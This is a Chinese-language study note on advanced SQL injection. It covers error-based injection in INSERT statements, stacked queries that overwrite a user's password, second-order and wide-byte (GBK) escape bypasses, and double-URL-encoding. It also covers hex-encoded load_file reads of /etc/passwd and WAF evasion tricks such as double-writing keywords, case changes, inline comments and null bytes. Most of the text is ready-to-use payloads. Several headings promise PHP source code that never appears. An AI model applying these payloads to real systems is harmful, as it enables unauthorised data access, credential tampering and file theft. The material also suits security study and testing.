6.SQL注入-其他注入
一.更新注入
所有更新类的操作,只返回布尔型的结果,并不会返回数据,所以无法像select一样进行多元化的处理。
所以更新类的操作操作核心就是构建报错注入。
insert into user(username,password,role) values
('wowo' or updatexml(1,concat(0x7e,database(),0x7e),1)
or ' ', '123456', 'user')
二.堆叠注入
在一个执行的语句中可以执行多条SQL(批量一次性执行多条SQL语句)
select * from user where userid = 1; update user set password='12345' where userid = 1;
?id=1; update user set password = '12345' where userid = 1;
select * from user where username = 'admin';
update user set password='12345' where userid=1;#''
上述payload实现PHP源码:
三.二次注入
# post请求:
username = admin'#$password = 12345
上述payload实现PHP源码:
四.宽字节注入
正常的sql语句:select * from article where article='1';
1. 当输入1'时,在addslashes函数对的保护下,单引号被反斜线\转义。被转义的sql语句:select * from article where article='1\";
2. 当输入1%bf’时,在gbk等宽字符集的环境下,%bf和用来转义的(%5c)形成新字符�。注入时的sql语句:select * from article
where articleid =1%bf\' and 1=1%23;
3. %bf与转义符号(16进制为%5c)组合成了%bf%5c形成新字符,从而吃掉了这个转义符合,导致单引号可以闭合,形成经典
的注入形式
id=-1%df' union select 1,2,3,4,5%23
select * from article where articleid='id=-1�\' union select 1,2,3,4,5#'
上述payload实现PHP源码:
五.URL解码注入
id=1%2527 and 1=1%23
select * from article where articleid='1' and 1=1#'
id=1%2527 and 1=2%23
select * from article where articleid='1' and 1=2#'
上述payload实现PHP源码:
六.奇技婬巧
1.闭合与逻辑
1' or '1' ='1 闭合后:id='1' or '1' = '1'
也可以写成:1' || '1'='1,同理也可以使用&&表示and
1' or 1=1# 闭合后:id='1' or 1=1#'
2.所有的确定字符串,均可以使用hex函数来处理16进制,避免引号转义
select hex('/etc/passwd') #输出为 2F6574632F706173737764
select load_file(0x2F6574632F706173737764)
select hex('learn')
select group_concat(table_name)
from information_schema.tables where table_schema=0x6C6561726E
select hex('%雨%')
select * from article where content like 0x25E99BA825
3.WAF绕过
1.双写绕过:
select and or 等被过滤的话,可以这么构造,selselectect,anandd,
这样即使被过滤了,剩余字符串也能拼接成正常语句。
2.大小写绕过:
SelecT,AnD,Or,可以用来绕过简单的过滤手段
3.编码绕过:
Base64,ASCⅡ,16进制
select concat(ASCII('a'),ASCII('1'),char('50'));
4.特殊字符绕过:
空格:/**/,%20,%a0,%0d,%0b,%09,%0c,select(password)from(user)
and:&&
or:||
select * from/**/user
内联注释:select username from /*!user*/ /*!union*/ select 2
00截断:sel%00ect,mysql中不会截断,但是waf可能认为截断
%:sel%ect,如果是iis+asp,百分号会被忽略